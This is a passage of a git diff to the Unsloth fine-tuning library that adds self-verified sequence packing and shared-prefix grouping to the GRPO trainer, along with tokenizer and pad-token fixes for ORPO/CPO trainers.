             "if 'tokenizer' in locals() and hasattr(tokenizer, 'padding_side'): tokenizer.padding_side = 'right'\n"
             "if 'processing_class' in locals():\n"
             "    if hasattr(processing_class, 'padding_side'): processing_class.padding_side = 'right'\n"
@@ -1347,6 +1370,9 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):
             # [TODO] See https://fengyao.notion.site/off-policy-rl
             # https://github.com/huggingface/trl/pull/3867 (August 7th)
             "vllm_importance_sampling_correction": False,
+            # TRL >= 1.7.0 enables the MoE router aux loss by default (0.001); the optimized
+            # GRPO forward does not compute it, so default off. Opt in via router_aux_loss_coef > 0.
+            "router_aux_loss_coef": 0.0,
         }
         for k, v in replacements.items():
             x = f"{k}( = [^,\n]{{1,}})?,\n"
diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py
index ab18a5ec93..098950de08 100644
--- a/unsloth/models/rl_replacements.py
+++ b/unsloth/models/rl_replacements.py
@@ -29,7 +29,9 @@ from collections import defaultdict
 from unsloth_zoo.rl_replacements import (
     RL_REPLACEMENTS,
     left_pack_padding,
+    create_completion_attention_mask,
     chunked_selective_log_softmax,
+    chunked_hidden_states_selective_log_softmax,
     _unsloth_get_mm_token_id,
     _unsloth_fix_mm_token_type_ids,
 )
@@ -48,7 +50,41 @@ from ..device_type import (
     ALLOW_PREQUANTIZED_MODELS,
 )
 import textwrap
-from ._utils import _get_inference_mode_context_manager
+from ._utils import _get_inference_mode_context_manager, UNSLOTH_ENABLE_LOGGING
+
+# One-time GRPO sequence-packing gates; mirrored into the generated trainer cache via RL_PRE_ITEMS.
+UNSLOTH_GRPO_SEQ_PACKING_ON = os.environ.get("UNSLOTH_GRPO_SEQ_PACKING", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+# Packing needs zoo#840's masked-column guard in grpo_compute_loss (installed zoo is fixed per-process).
+try:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = "torch.where(_keep, new" in inspect.getsource(
+        RL_REPLACEMENTS["grpo_compute_loss"]
+    )
+except Exception:
+    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False
+# One-time PrefixGrouper gate; any import failure degrades to "PrefixGrouper off".
+_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None
+UNSLOTH_GRPO_PREFIX_GROUPER_ON = os.environ.get("UNSLOTH_GRPO_PREFIX_GROUPER", "1").lower() not in (
+    "0",
+    "false",
+    "no",
+    "off",
+)
+if UNSLOTH_GRPO_PREFIX_GROUPER_ON:
+    try:
+        from ..utils.prefix_grouper import (
+            build_group_layout as _pg_build_layout,
+            prefix_grouper_enabled as _pg_enabled_fn,
+            verify_on as _pg_verify_on,
+            tol_ok as _pg_tol_ok,
+            TOL_KILL as _PG_TOL_KILL,
+        )
+    except Exception:
+        UNSLOTH_GRPO_PREFIX_GROUPER_ON = False
 
 RL_EXTRA_ARGS = defaultdict(list)
 RL_FUNCTIONS = defaultdict(list)
@@ -511,8 +547,8 @@ def sft_trainer_compute_loss(function_name, function):
 RL_FUNCTIONS["sft_trainer"].append(sft_trainer_compute_loss)
 
 
-# Use the underlying text tokenizer for ORPO row tokenization when a
-# multimodal processor is supplied as the processing class.
+# Route ORPO/CPO row tokenization through the underlying text tokenizer when the
+# processing class is a multimodal processor; CPO reuses this code (#4952).
 def orpo_trainer_text_tokenizer(function_name, function):
     if function_name == "build_tokenized_answer":
         function = re.sub(
@@ -555,11 +591,12 @@ def orpo_trainer_text_tokenizer(function_name, function):
 
 
 RL_FUNCTIONS["orpo_trainer"].append(orpo_trainer_text_tokenizer)
+RL_FUNCTIONS["cpo_trainer"].append(orpo_trainer_text_tokenizer)
 
 
 # Resolve `processing_class.pad_token_id` through the underlying tokenizer when
 # a multimodal processor is supplied (processors lack `pad_token_id`). Without
-# this, ORPOTrainer.__init__ raises AttributeError on
+# this, ORPO/CPOTrainer.__init__ raises AttributeError on
 # `DPODataCollatorWithPadding(pad_token_id=processing_class.pad_token_id, ...)`
 # and on `self.padding_value = ... else processing_class.pad_token_id`.
 _PAD_FALLBACK = (
@@ -572,12 +609,28 @@ _PAD_FALLBACK = (
 def orpo_trainer_processor_pad_token(function_name, function):
     if function_name != "__init__":
         return function
+    # Multimodal processors (e.g. Gemma3/Gemma4 Processor) expose pad_token /
+    # eos_token on `.tokenizer`, not on the processor itself. TRL 1.x CPO/ORPO
+    # __init__ defaults `processing_class.pad_token` from `.eos_token` before
+    # tokenizing, which AttributeErrors on such a processor. Route the default
+    # through the inner tokenizer. Older TRL lacks this block, so the sub is a
+    # no-op there and only the pad_token_id fallback below applies.
+    function = re.sub(
+        r"(?m)^([ \t]*)if processing_class\.pad_token is None:\n"
+        r"\1[ \t]+processing_class\.pad_token\s*=\s*processing_class\.eos_token\n",
+        r"\1_unsloth_proc_tok = getattr(processing_class, 'tokenizer', processing_class)\n"
+        r"\1if getattr(_unsloth_proc_tok, 'pad_token', None) is None:\n"
+        r"\1    _unsloth_proc_tok.pad_token = getattr(_unsloth_proc_tok, 'eos_token', None)\n",
+        function,
+        count = 1,
+    )
     if "processing_class.pad_token_id" not in function:
         return function
     return function.replace("processing_class.pad_token_id", _PAD_FALLBACK)
 
 
 RL_FUNCTIONS["orpo_trainer"].append(orpo_trainer_processor_pad_token)
+RL_FUNCTIONS["cpo_trainer"].append(orpo_trainer_processor_pad_token)
 
 
 # Fix bare pop("push_to_hub_token") in compiled SFT/IterativeSFT trainer __init__
@@ -744,7 +797,8 @@ def grpo_trainer__generate_and_score_completions(function_name, function):
                 # Left pad prompt before calculation old and ref hidden states
                 left_pad_tokens_per_prompt = calculate_pad_tokens_in_prompt(prompt_completion_ids, logits_to_keep, self.processing_class.pad_token_id)
                 max_left_pad = torch.max(left_pad_tokens_per_prompt).item()
-        self.model.for_training(use_gradient_checkpointing=getattr(self.args, 'gradient_checkpointing', True))"""
+        _use_gc = self.model._unsloth_gradient_checkpointing if hasattr(self.model, '_unsloth_gradient_checkpointing') else getattr(self.args, 'gradient_checkpointing', True)
+        self.model.for_training(use_gradient_checkpointing=_use_gc)"""
 
     function = function.replace(line_to_replace, replacement_lines)
 
@@ -1320,11 +1374,12 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                     image_sizes_chunks.append(slice_sample_axis(image_sizes, start, end))
 
             temperature = self.temperature
-            logit_softcapping = _unsloth_get_final_logit_softcapping(model.config)
-            logit_scale_multiply = getattr(model.config, "logit_scale", 0)
+            model_config = _unsloth_get_model_config(model)
+            logit_softcapping = _unsloth_get_final_logit_softcapping(model)
+            logit_scale_multiply = getattr(model_config, "logit_scale", 0)
             if logit_scale_multiply is None:
                 logit_scale_multiply = 0
-            logit_scale_divide = getattr(model.config, "logits_scaling", 0)
+            logit_scale_divide = getattr(model_config, "logits_scaling", 0)
             if logit_scale_divide is None:
                 logit_scale_divide = 0
 
@@ -1340,6 +1395,439 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
             )
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
 
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] forward replaces the padded [B, Lmax] loop (also fixes the
+            # left-pad RoPE error). Self-verified against the per-row forward, re-checked as T
+            # grows; falls back if a backend ignores packed_seq_lengths.
+            logprobs = None
+
+            # ---- PrefixGrouper (GRPO shared-prompt dedup; default ON, exact + self-verified) ----
+            # G completions per prompt share the prefix; the packed path forwards it G times,
+            # PrefixGrouper stores it once (FlexAttention shared-prefix mask), cutting the trunk
+            # forward from G*(P+R) to P+G*R tokens. Gated by UNSLOTH_GRPO_PREFIX_GROUPER (needs
+            # seq-packing), tok_r auto-gate, and first-use self-verify vs the packed path
+            # (mismatch => fall back + mark unsafe), so a mask/isolation regression cannot ship
+            # silently. When off / ungrouped / unverified, the packed path below runs as before.
+            _pg_result = None
+            _pg_use = False
+            _pg_skip_pk = False  # once a shape is PG-verified, skip the full-row forward
+            _pg_forward_fn = None  # deferred PG forward (runs at the verify site below)
+            _pg_num_gen = getattr(self, "num_generations", None)
+            # Env gate hoisted to module level (mirrored via RL_PRE_ITEMS). Skip PG under vLLM
+            # (fast_inference=True): the rollout dominates the step, so PG saves little and its
+            # first-use self-verify is net overhead.
+            _pg_engage = (
+                UNSLOTH_GRPO_PREFIX_GROUPER_ON
+                and not getattr(self, "use_vllm", False)
+                and not getattr(unwrapped_model, "_unsloth_prefix_grouper_nograd_disabled", False)
+            )
+            if _pg_engage:
+                try:
+                    # Skip softcap models (the flex kernel never applies attn_logit_softcapping)
+                    # and hybrid SSM / MoE models: only the threaded attention forwards get the
+                    # shared-prefix isolation, so a Mamba or MoE decoder that does not forward
+                    # prefix_seg_info would leak suffixes across completions. PG also rides on
+                    # sequence packing, so it needs the same zoo masked-column guard.
+                    _pg_cfg = getattr(unwrapped_model, "config", None)
+                    _pg_engage = (
+                        _pg_enabled_fn()
+                        and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+                        and pixel_values is None
+                        and token_type_ids is None
+                        and mm_token_type_ids is None
+                        and _pg_num_gen is not None
+                        and _pg_num_gen >= 2
+                        and not getattr(_pg_cfg, "attn_logit_softcapping", None)
+                        # normal backends apply config.attention_dropout in training; the flex
+                        # path is deterministic, so skip PG when it is set.
+                        and not getattr(_pg_cfg, "attention_dropout", 0)
+                        and not any(
+                            getattr(_pg_cfg, _pg_a, None) is not None
+                            for _pg_a in (
+                                "mamba_d_ssm",
+                                "mamba_d_state",
+                                "mamba_expand",
+                                "num_experts",
+                                "num_local_experts",
+                                "n_routed_experts",
+                                "moe_intermediate_size",
+                            )
+                        )
+                    )
+                except Exception:
+                    _pg_engage = False
+            if _pg_engage:
+                try:
+                    _pg_pad = self.processing_class.pad_token_id
+                    # cap the PG span (P+max(R)) at the sliding window, like the packed _pk_sw guard.
+                    _pg_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    if not (isinstance(_pg_sw, int) and _pg_sw > 0):
+                        _pg_sw = None
+                    _pg_layout = _pg_build_layout(
+                        input_ids,
+                        logits_to_keep,
+                        _pg_pad,
+                        _pg_num_gen,
+                        left_pad_tokens_per_prompt,
+                        max_segment_cap = _pg_sw,
+                    )
+                    _pg_unsafe = getattr(
+                        unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                    )
+                    if _pg_unsafe is None:
+                        _pg_unsafe = set()
+                    if _pg_layout is not None and _pg_layout.signature not in _pg_unsafe:
+                        _pg_sig = _pg_layout.signature
+                        _pg_verified = getattr(
+                            unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                        )
+                        if _pg_verified is None:
+                            _pg_verified = set()
+                        _pg_chunks = max(1, total_rows * multiplier)
+
+                        def _pg_run_forward(_pg_layout = _pg_layout, _pg_chunks = _pg_chunks):
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    _pg_hidden = unwrapped_model(
+                                        input_ids = _pg_layout.flat_ids,
+                                        position_ids = _pg_layout.position_ids,
+                                        prefix_seg_info = _pg_layout.prefix_seg_info,
+                                        use_cache = False,
+                                    ).logits
+                                    _pg_r = _pg_layout.extract_logps(
+                                        _pg_hidden,
+                                        lm_head,
+                                        chunked_hidden_states_selective_log_softmax,
+                                        _pg_chunks,
+                                        logit_scale_multiply,
+                                        logit_scale_divide,
+                                        logit_softcapping,
+                                        temperature,
+                                    )
+                                    _pg_hidden = None  # release before any verify forward
+                            device_synchronize()
+                            # clip to the loss window [B, logits_to_keep+max_left_pad]
+                            _pg_w = logits_to_keep + max_left_pad
+                            if _pg_r.shape[1] > _pg_w:
+                                _pg_r = _pg_r[:, -_pg_w:]
+                            return _pg_r
+
+                        # trust only within the verified envelope: re-verify when T or the
+                        # longest segment grows, like the packed path
+                        _pg_T = int(_pg_layout.flat_ids.shape[1])
+                        _pg_maxseg = int(_pg_layout.position_ids.max()) + 1
+                        _pg_env = (
+                            _pg_verified.get(_pg_sig) if isinstance(_pg_verified, dict) else None
+                        )
+                        if (not _pg_verify_on()) or (
+                            _pg_env is not None and _pg_T <= _pg_env[0] and _pg_maxseg <= _pg_env[1]
+                        ):
+                            # trusted shape: run PG now and skip the full-row forward below
+                            _pg_result = _pg_run_forward()
+                            _pg_use = True
+                            _pg_skip_pk = True
+                        else:
+                            # unverified shape: defer the forward until the packed reference
+                            # exists (verify site below), so a declined packed path never wastes
+                            # a whole-batch PG forward
+                            _pg_forward_fn = _pg_run_forward
+                except Exception as _pg_err:
+                    _pg_result = None
+                    _pg_use = False
+                    _pg_skip_pk = False
+                    _pg_forward_fn = None
+                    # A FlexAttention/Triton compile failure or OOM here is GPU-wide, not
+                    # layout-specific, so retrying the same PG forward every step just re-pays
+                    # the failure. Persistently disable PG (mirrors the seq-packing handler
+                    # setting _unsloth_seq_packing_nograd_ok = False); the packed/padded path
+                    # below still produces the exact result.
+                    unwrapped_model._unsloth_prefix_grouper_nograd_disabled = True
+                    if isinstance(_pg_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO PrefixGrouper (no-grad) disabled (fell back to packed): {_pg_err!r}",
+                            flush = True,
+                        )
+
+            # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----
+            # One varlen [1, sum L] block-diagonal forward replaces the padded [B, Lmax] loop
+            # (exact per-row result; also fixes the padded path's left-pad RoPE error).
+            # Self-verified vs the per-row forward, re-checked as T grows; falls back if a
+            # backend ignores packed_seq_lengths. lm_head runs on completion positions only.
+            _pk_result = None
+            _pk_use = False
+            _pk_enabled = UNSLOTH_GRPO_SEQ_PACKING_ON
+            # Without zoo#840's masked-column guard, zeroed prompt/pad columns turn NaN in exp().
+            _pk_enabled = _pk_enabled and UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
+            _pk_ok = getattr(unwrapped_model, "_unsloth_seq_packing_nograd_ok", None)
+            if (
+                _pk_enabled
+                and not _pg_skip_pk
+                and pixel_values is None
+                and token_type_ids is None
+                and mm_token_type_ids is None
+                and _pk_ok is not False
+            ):
+                try:
+                    _pk_pad = self.processing_class.pad_token_id
+                    _pk_keep = input_ids != _pk_pad
+                    _pk_len = _pk_keep.sum(dim = 1)
+                    _pk_len_cpu = _pk_len.tolist()  # single GPU->CPU sync, reused below
+                    _pk_nz_cpu = [_n for _n in _pk_len_cpu if _n > 0]
+                    _pk_flat = input_ids[_pk_keep].unsqueeze(0)
+                    _pk_T = _pk_flat.shape[1]
+                    _pk_L = input_ids.shape[1]
+                    _pk_W = logits_to_keep + max_left_pad
+                    _pk_maxseg = max(_pk_nz_cpu) if _pk_nz_cpu else 0
+                    # sliding-window models lose the per-sequence local window in a packed stream
+                    _pk_sw = getattr(
+                        getattr(unwrapped_model, "config", None), "sliding_window", None
+                    )
+                    _pk_sw_ok = not (isinstance(_pk_sw, int) and _pk_sw > 0 and _pk_maxseg > _pk_sw)
+                    # per-row completion mask (same as the loss); prompt-only rows count as inactive
+                    _pk_cmask = create_completion_attention_mask(
+                        input_ids[:, -_pk_W:], left_pad_tokens_per_prompt, max_left_pad, _pk_pad
+                    )
+                    _pk_active = int(_pk_cmask.any(dim = 1).sum())
+                    # skip the packed forward entirely at known-unsafe lengths (avoids a wasted pass / OOM)
+                    _pk_unsafe = getattr(
+                        unwrapped_model, "_unsloth_seq_packing_nograd_unsafe_T", None
+                    )
+                    # cap the flattened forward at one padded [batch_size, seq_len] mini-batch's
+                    # token budget; anything larger uses the chunked padded loop
+                    _pk_cap = batch_size * seq_len
+                    if (
+                        _pk_T >= 2
+                        and _pk_T <= _pk_cap
+                        and len(_pk_nz_cpu) > 0
+                        and _pk_sw_ok
+                        and not (_pk_unsafe is not None and _pk_T >= _pk_unsafe)
+                        and (_pk_ok is True or _pk_active >= 2)
+                    ):
+                        # reset 0-based position_ids per segment
+                        _pk_pos = (_pk_keep.cumsum(dim = 1) - 1)[_pk_keep].unsqueeze(0)
+                        _pk_chunks = max(1, total_rows * multiplier)
+                        _pk_nz_idx = _pk_keep.nonzero(
+                            as_tuple = False
+                        )  # [T, 2] = (row, col), row-major
+                        _pk_within = _pk_nz_idx[1:, 0] == _pk_nz_idx[:-1, 0]  # [T-1]
+                        # per-row completion start after left-packing (matches create_completion_attention_mask)
+                        _pk_cstart = (_pk_L - logits_to_keep) - left_pad_tokens_per_prompt  # [rows]
+                        _pk_ctgt = (_pk_nz_idx[1:, 1] >= _pk_cstart[_pk_nz_idx[1:, 0]]) & _pk_within
+                        with _get_inference_mode_context_manager(model):
+                            with torch.amp.autocast(device_type = "cuda", dtype = self._autocast_dtype):
+                                # use_cache=False: a KV cache silently disables varlen packing
+                                _pk_hidden = unwrapped_model(
+                                    input_ids = _pk_flat,
+                                    position_ids = _pk_pos,
+                                    packed_seq_lengths = torch.tensor(
+                                        _pk_nz_cpu, dtype = torch.int32, device = input_ids.device
+                                    ),
+                                    use_cache = False,
+                                ).logits
+                                _pk_sel = chunked_hidden_states_selective_log_softmax(
+                                    _pk_hidden[0, :-1, :][_pk_ctgt].unsqueeze(0),
+                                    lm_head,
+                                    _pk_flat[0, 1:][_pk_ctgt].unsqueeze(0),
+                                    _pk_chunks,
+                                    logit_scale_multiply,
+                                    logit_scale_divide,
+                                    logit_softcapping,
+                                    temperature,
+                                )[0]
+                        # GPT-OSS offload race guard (matches the padded loop)
+                        device_synchronize()
+                        # scatter each logprob back to its (row, col) so [:, -_pk_W:] matches padded
+                        _pk_tgt = (_pk_nz_idx[1:, 0] * _pk_L + _pk_nz_idx[1:, 1])[_pk_ctgt]
+                        _pk_result = (
+                            torch.zeros(
+                                total_rows * _pk_L,
+                                dtype = torch.float32,
+                                device = input_ids.device,
+                            )
+                            .index_put((_pk_tgt,), _pk_sel.to(torch.float32))
+                            .view(total_rows, _pk_L)[:, -_pk_W:]
+                        )
+                        # re-verify when T or the longest segment grows past what was verified
+                        # (a LongRoPE cache switch can change the result)
+                        _pk_vT = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_T", 0)
+                        )
+                        _pk_vS = int(
+                            getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_seg", 0)
+                        )
+                        # debug: hand-edit this condition to force re-verify every step
+                        if _pk_ok is True and _pk_T <= _pk_vT and _pk_maxseg <= _pk_vS:
+                            _pk_use = True  # already verified for this shape
+                        else:
+                            # verify against the per-row forward (ground truth)
+                            _pk_ref = torch.zeros_like(_pk_result)
+                            with _get_inference_mode_context_manager(model):
+                                with torch.amp.autocast(
+                                    device_type = "cuda", dtype = self._autocast_dtype
+                                ):
+                                    for _pk_i in range(total_rows):
+                                        _pk_ni = _pk_len_cpu[_pk_i]
+                                        if _pk_ni < 2:
+                                            continue
+                                        _pk_rmask = _pk_keep[_pk_i]
+                                        _pk_real = input_ids[_pk_i][_pk_rmask].unsqueeze(0)
+                                        _pk_rpos = torch.arange(
+                                            _pk_ni, device = input_ids.device
+                                        ).unsqueeze(0)
+                                        _pk_rh = unwrapped_model(
+                                            input_ids = _pk_real,
+                                            position_ids = _pk_rpos,
+                                            use_cache = False,
+                                        ).logits
+                                        _pk_rsel = chunked_hidden_states_selective_log_softmax(
+                                            _pk_rh[:, :-1, :],
+                                            lm_head,
+                                            _pk_real[:, 1:],
+                                            1,
+                                            logit_scale_multiply,
+                                            logit_scale_divide,
+                                            logit_softcapping,
+                                            temperature,
+                                        )[0]
+                                        _pk_rcols = _pk_rmask.nonzero(as_tuple = False).squeeze(1)[
+                                            1:
+                                        ] - (_pk_L - _pk_W)
+                                        _pk_rkeep = _pk_rcols >= 0
+                                        _pk_ref[_pk_i, _pk_rcols[_pk_rkeep]] = _pk_rsel[
+                                            _pk_rkeep
+                                        ].to(torch.float32)
+                            device_synchronize()
+                            # compare over the loss-mask region only
+                            _pk_cm = _pk_cmask.float()
+                            _pk_diff = float(((_pk_result - _pk_ref).abs() * _pk_cm).max())
+                            if UNSLOTH_ENABLE_LOGGING:
+                                print(
+                                    f"[Unsloth] GRPO seq-packing (no-grad) verify: T={_pk_T} maxseg={_pk_maxseg} packed-vs-perrow max|d|={_pk_diff:.4f}",
+                                    flush = True,
+                                )
+                            # kernel-noise floor ~0.25; cross-sample contamination is >= 2.4
+                            if _pk_diff < 7e-1:
+                                unwrapped_model._unsloth_seq_packing_nograd_ok = True
+                                # widen the trusted shape only when >= 2 completion rows exercised
+                                # cross-sample packing; single-row passes prove nothing
+                                if _pk_active >= 2:
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_T = max(
+                                        _pk_vT, _pk_T
+                                    )
+                                    unwrapped_model._unsloth_seq_packing_nograd_verified_seg = max(
+                                        _pk_vS, _pk_maxseg
+                                    )
+                                _pk_ok = True
+                                _pk_use = True
+                            else:
+                                _pk_use = False
+                                if _pk_diff >= 1.5:
+                                    # contamination (attention ignores the packed mask): disable packing
+                                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                                else:
+                                    # likely a length boundary (LongRoPE): mark unsafe, keep smaller shapes
+                                    unwrapped_model._unsloth_seq_packing_nograd_unsafe_T = (
+                                        _pk_T if _pk_unsafe is None else min(_pk_unsafe, _pk_T)
+                                    )
+                                if UNSLOTH_ENABLE_LOGGING:
+                                    print(
+                                        f"[Unsloth] GRPO seq-packing (no-grad) fell back at T={_pk_T} (diff={_pk_diff:.3f})",
+                                        flush = True,
+                                    )
+                except Exception as _pk_err:
+                    # any failure: drop intermediates, use the padded loop, do not retry
+                    _pk_hidden = None
+                    _pk_sel = None
+                    _pk_result = None
+                    _pk_use = False
+                    if isinstance(_pk_err, torch.cuda.OutOfMemoryError):
+                        torch.cuda.empty_cache()
+                    unwrapped_model._unsloth_seq_packing_nograd_ok = False
+                    if UNSLOTH_ENABLE_LOGGING:
+                        print(
+                            f"[Unsloth] GRPO sequence-packing (no-grad) disabled (fell back to padded): {_pk_err!r}",
+                            flush = True,
+                        )
+            # ---- PrefixGrouper first-use self-verify (no-grad) ----
+            # Compare the untrusted PG result to the full-row packed result (itself verified vs
+            # per-row) over the completion mask: < tol_ok -> trust the structure; >= TOL_KILL ->
+            # unsafe forever; borderline -> fall back this shape.
+            if _pg_forward_fn is not None and not _pg_use:
+                if _pk_use and _pk_result is not None:
+                    try:
+                        # deferred PG forward, run only now that the packed reference exists
+                        _pg_result = _pg_forward_fn()
+                        _pg_W2 = logits_to_keep + max_left_pad
+                        _pg_cm = create_completion_attention_mask(
+                            input_ids[:, -_pg_W2:],
+                            left_pad_tokens_per_prompt,
+                            max_left_pad,
+                            self.processing_class.pad_token_id,
+                        ).float()
+                        _pg_a = _pg_result[:, -_pg_W2:].float()
+                        _pg_b = _pk_result[:, -_pg_W2:].float()
+                        _pg_diff = float(((_pg_a - _pg_b).abs() * _pg_cm).max())
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify: sig={_pg_layout.signature} "
+                                f"shared-prefix vs full-row-packed max|d|={_pg_diff:.4f}",
+                                flush = True,
+                            )
+                        if _pg_diff < _pg_tol_ok():
+                            _pg_v = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_verified", None
+                            )
+                            if not isinstance(_pg_v, dict):
+                                _pg_v = {}
+                            _pg_vT = int(_pg_layout.flat_ids.shape[1])
+                            _pg_vS = int(_pg_layout.position_ids.max()) + 1
+                            _pg_old = _pg_v.get(_pg_layout.signature, (0, 0))
+                            _pg_v[_pg_layout.signature] = (
+                                max(_pg_vT, _pg_old[0]),
+                                max(_pg_vS, _pg_old[1]),
+                            )
+                            unwrapped_model._unsloth_prefix_grouper_nograd_verified = _pg_v
+                            _pg_use = True
+                        else:
+                            _pg_u = getattr(
+                                unwrapped_model, "_unsloth_prefix_grouper_nograd_unsafe", None
+                            )
+                            if _pg_u is None:
+                                _pg_u = set()
+                            if _pg_diff >= _PG_TOL_KILL:
+                                _pg_u.add(_pg_layout.signature)
+                                unwrapped_model._unsloth_prefix_grouper_nograd_unsafe = _pg_u
+                            _pg_use = False
+                    except Exception as _pg_err3:
+                        _pg_result = None
+                        _pg_use = False
+                        if isinstance(_pg_err3, torch.cuda.OutOfMemoryError):
+                            torch.cuda.empty_cache()
+                        os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"
+                        if UNSLOTH_ENABLE_LOGGING:
+                            print(
+                                f"[Unsloth] GRPO PrefixGrouper (no-grad) verify failed (fell back to packed): {_pg_err3!r}",
+                                flush = True,
+                            )
+                # else: no packed reference (packing off/failed) -> cannot verify; fall back.
+
+            if _pg_use and _pg_result is not None:
+                logprobs = _pg_result  # PrefixGrouper verified/trusted -> skip the loop
+                zipped_inputs = []
+            elif _pk_use and _pk_result is not None:
+                logprobs = _pk_result  # verified -> skip the loop
+                zipped_inputs = []
+            else:
+                # free packed intermediates before running the padded loop
+                _pk_hidden = _pk_sel = _pk_result = _pk_ref = None
+
             with _get_inference_mode_context_manager(model):
                 for (
                     input_ids_chunk,
@@ -1424,7 +1912,8 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
                     # However, it seems that this line does not slow down or disrupt models.
                     device_synchronize()
                     all_logprobs_list.append(logprobs_chunk)
-                logprobs = torch.cat(all_logprobs_list, dim = 0)
+                if logprobs is None:  # padded fallback when packing was not used
+                    logprobs = torch.cat(all_logprobs_list, dim = 0)
                 entropies = None
 
             os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "0"
@@ -1454,7 +1943,15 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):
 RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__get_per_token_logps_and_entropies)
 
 
-def _unsloth_get_final_logit_softcapping(config):
+def _unsloth_get_model_config(model):
+    """Return HuggingFace model config, unwrapping DDP/Accelerate wrappers."""
+    config = getattr(model, "config", None)
+    if config is None and hasattr(model, "module"):
+        config = getattr(model.module, "config", None)
+    return config
+
+
+def _unsloth_get_final_logit_softcapping(model):
     """Return final_logit_softcapping for a model config, falling back to the
     nested text sub-config for composite models. Handles both:
       - Gemma-4-style configs where the attribute lives on ``config.text_config``
@@ -1462,6 +1959,9 @@ def _unsloth_get_final_logit_softcapping(config):
         reachable via ``config.get_text_config()``
     Returns 0 if unset, matching the previous behaviour.
     """
+    config = _unsloth_get_model_config(model)
+    if config is None:
+        return 0
     softcap = getattr(config, "final_logit_softcapping", None)
     if softcap is None:
         text_cfg = getattr(config, "text_config", None)
@@ -1482,6 +1982,7 @@ grpo_compute_loss_slow = RL_REPLACEMENTS["grpo_compute_loss_slow"]
 UnslothEfficientGRPO = RL_REPLACEMENTS["UnslothEfficientGRPO"]
 grpo_accumulated_loss = RL_REPLACEMENTS["grpo_accumulated_loss"]
 grpo_update_SamplingParams = RL_REPLACEMENTS["grpo_update_SamplingParams"]
+RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_model_config))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_final_logit_softcapping))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_mm_token_id))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_fix_mm_token_type_ids))
@@ -1492,6 +1993,34 @@ RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_accumulated_loss))
 RL_PRE_ITEMS["grpo_trainer"].append(grpo_compute_loss_slow)
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(grpo_update_SamplingParams))
 RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_get_inference_mode_context_manager))
+# inspect.getsource inlines function bodies but not module imports, so constants the inlined
+# grpo functions reference (e.g. UNSLOTH_ENABLE_LOGGING) must be redefined in the generated cache.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "import os as _unsloth_os\n"
+    "UNSLOTH_ENABLE_LOGGING = _unsloth_os.environ.get('UNSLOTH_ENABLE_LOGGING', '0') in ('1', 'True', 'true')\n"
+)
+# Sequence-packing gates, same values as the module-top constants.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "UNSLOTH_GRPO_SEQ_PACKING_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_SEQ_PACKING', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+)
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "try:\n"
+    "    import inspect as _unsloth_inspect\n"
+    "    from unsloth_zoo.rl_replacements import RL_REPLACEMENTS as _unsloth_zoo_RL\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = 'torch.where(_keep, new' in _unsloth_inspect.getsource(_unsloth_zoo_RL['grpo_compute_loss'])\n"
+    "except Exception:\n"
+    "    UNSLOTH_ZOO_HAS_MASKED_COL_GUARD = False\n"
+)
+# PrefixGrouper gate, same shape as the module-top constants.
+RL_PRE_ITEMS["grpo_trainer"].append(
+    "_pg_build_layout = _pg_enabled_fn = _pg_verify_on = _pg_tol_ok = _PG_TOL_KILL = None\n"
+    "UNSLOTH_GRPO_PREFIX_GROUPER_ON = _unsloth_os.environ.get('UNSLOTH_GRPO_PREFIX_GROUPER', '1').lower() not in ('0', 'false', 'no', 'off')\n"
+    "if UNSLOTH_GRPO_PREFIX_GROUPER_ON:\n"
+    "    try:\n"
